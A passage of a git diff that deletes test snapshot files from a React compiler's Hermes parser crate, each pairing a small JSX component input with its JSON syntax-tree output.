-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          32,
-                          33
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          32,
-                          33
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        32,
-                        33
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    30,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          53,
-                          54
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          53,
-                          54
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        53,
-                        54
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    56
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  56
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              57
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                67,
-                68
-              ]
-            },
-            "loc": null,
-            "range": [
-              60,
-              69
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          71
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        71
-      ],
-      "loc": null,
-      "range": [
-        0,
-        71
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    71
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@builtin-jsx-tag-lowered-between-mutations.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@builtin-jsx-tag-lowered-between-mutations.js.snap
deleted file mode 100644
index 56811bfad786..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@builtin-jsx-tag-lowered-between-mutations.js.snap
+++ /dev/null
@@ -1,211 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/builtin-jsx-tag-lowered-between-mutations.js
----
-Input:
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  return <div>{maybeMutate(maybeMutable)}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "maybeMutable",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "NewExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "MaybeMutable",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      55,
-                      67
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    69
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  69
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              70
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    81,
-                    84
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  80,
-                  85
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "maybeMutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        86,
-                        97
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "maybeMutable",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          98,
-                          110
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      86,
-                      111
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    85,
-                    112
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    114,
-                    117
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  112,
-                  118
-                ]
-              },
-              "loc": null,
-              "range": [
-                80,
-                118
-              ]
-            },
-            "loc": null,
-            "range": [
-              73,
-              119
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          121
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        121
-      ],
-      "loc": null,
-      "range": [
-        0,
-        121
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    121
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-args-assignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-args-assignment.js.snap
deleted file mode 100644
index 9636be254c2b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-args-assignment.js.snap
+++ /dev/null
@@ -1,224 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/call-args-assignment.js
----
-Input:
-function Component(props) {
-  let x = makeObject();
-  x.foo((x = makeObject()));
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      38,
-                      48
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    50
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  50
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              51
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    55
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    59
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  54,
-                  59
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "AssignmentExpression",
-                  "operator": "=",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      61,
-                      62
-                    ]
-                  },
-                  "right": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "makeObject",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        65,
-                        75
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      65,
-                      77
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    61,
-                    77
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                54,
-                79
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              54,
-              80
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                90,
-                91
-              ]
-            },
-            "loc": null,
-            "range": [
-              83,
-              92
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          94
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        94
-      ],
-      "loc": null,
-      "range": [
-        0,
-        94
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    94
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-args-destructuring-assignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-args-destructuring-assignment.js.snap
deleted file mode 100644
index 587541a98fe7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-args-destructuring-assignment.js.snap
+++ /dev/null
@@ -1,234 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/call-args-destructuring-assignment.js
----
-Input:
-function Component(props) {
-  let x = makeObject();
-  x.foo(([x] = makeObject()));
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      38,
-                      48
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    50
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  50
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              51
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    55
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    59
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  54,
-                  59
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "AssignmentExpression",
-                  "operator": "=",
-                  "left": {
-                    "type": "ArrayPattern",
-                    "elements": [
-                      {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          63
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      61,
-                      64
-                    ]
-                  },
-                  "right": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "makeObject",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        67,
-                        77
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      67,
-                      79
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    61,
-                    79
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                54,
-                81
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              54,
-              82
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                92,
-                93
-              ]
-            },
-            "loc": null,
-            "range": [
-              85,
-              94
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          96
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        96
-      ],
-      "loc": null,
-      "range": [
-        0,
-        96
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    96
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-spread.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-spread.js.snap
deleted file mode 100644
index 6dbaadf58cb0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-spread.js.snap
+++ /dev/null
@@ -1,220 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/call-spread.js
----
-Input:
-function Component(props) {
-  const x = foo(...props.a, null, ...props.b);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      43
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            47,
-                            52
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            53,
-                            54
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          47,
-                          54
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        44,
-                        54
-                      ]
-                    },
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        56,
-                        60
-                      ]
-                    },
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            65,
-                            70
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            71,
-                            72
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          65,
-                          72
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        62,
-                        72
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    73
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  73
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              74
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                84,
-                85
-              ]
-            },
-            "loc": null,
-            "range": [
-              77,
-              86
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          88
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        88
-      ],
-      "loc": null,
-      "range": [
-        0,
-        88
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    88
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-with-independently-memoizable-arg.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-with-independently-memoizable-arg.js.snap
deleted file mode 100644
index 3bd28c9948f9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call-with-independently-memoizable-arg.js.snap
+++ /dev/null
@@ -1,351 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/call-with-independently-memoizable-arg.js
----
-Input:
-function Component(props) {
-  const x = makeFunction(props);
-  const y = x(
-    <div>
-      <span>{props.text}</span>
-    </div>
-  );
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeFunction",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      52
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        53,
-                        58
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    70
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      73,
-                      74
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "JSXElement",
-                      "openingElement": {
-                        "type": "JSXOpeningElement",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "div",
-                          "loc": null,
-                          "range": [
-                            81,
-                            84
-                          ]
-                        },
-                        "attributes": [],
-                        "selfClosing": false,
-                        "loc": null,
-                        "range": [
-                          80,
-                          85
-                        ]
-                      },
-                      "children": [
-                        {
-                          "type": "JSXText",
-                          "value": "\n      ",
-                          "raw": "\n      ",
-                          "loc": null,
-                          "range": [
-                            85,
-                            92
-                          ]
-                        },
-                        {
-                          "type": "JSXElement",
-                          "openingElement": {
-                            "type": "JSXOpeningElement",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "span",
-                              "loc": null,
-                              "range": [
-                                93,
-                                97
-                              ]
-                            },
-                            "attributes": [],
-                            "selfClosing": false,
-                            "loc": null,
-                            "range": [
-                              92,
-                              98
-                            ]
-                          },
-                          "children": [
-                            {
-                              "type": "JSXExpressionContainer",
-                              "expression": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "props",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    99,
-                                    104
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "text",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    105,
-                                    109
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  99,
-                                  109
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                98,
-                                110
-                              ]
-                            }
-                          ],
-                          "closingElement": {
-                            "type": "JSXClosingElement",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "span",
-                              "loc": null,
-                              "range": [
-                                112,
-                                116
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              110,
-                              117
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            92,
-                            117
-                          ]
-                        },
-                        {
-                          "type": "JSXText",
-                          "value": "\n    ",
-                          "raw": "\n    ",
-                          "loc": null,
-                          "range": [
-                            117,
-                            122
-                          ]
-                        }
-                      ],
-                      "closingElement": {
-                        "type": "JSXClosingElement",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "div",
-                          "loc": null,
-                          "range": [
-                            124,
-                            127
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          122,
-                          128
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        80,
-                        128
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    73,
-                    132
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  69,
-                  132
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              133
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                143,
-                144
-              ]
-            },
-            "loc": null,
-            "range": [
-              136,
-              145
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          147
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        147
-      ],
-      "loc": null,
-      "range": [
-        0,
-        147
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    147
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call.js.snap
deleted file mode 100644
index 7ff0c24003f2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@call.js.snap
+++ /dev/null
@@ -1,478 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/call.js
----
-Input:
-function foo() {}
-
-function Component(props) {
-  const a = [];
-  const b = {};
-  foo(a, b);
-  let _ = <div a={a} />;
-  foo(b);
-  return <div a={a} b={b} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          15,
-          17
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        17
-      ],
-      "loc": null,
-      "range": [
-        0,
-        17
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          28,
-          37
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            38,
-            43
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    59,
-                    61
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  55,
-                  61
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              49,
-              62
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    75,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              65,
-              78
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  81,
-                  84
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    85,
-                    86
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                81,
-                90
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              81,
-              91
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "_",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    98,
-                    99
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        103,
-                        106
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "a",
-                          "loc": null,
-                          "range": [
-                            107,
-                            108
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              110,
-                              111
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            109,
-                            112
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          107,
-                          112
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      102,
-                      115
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    102,
-                    115
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  98,
-                  115
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              94,
-              116
-            ]
-          },
-          {
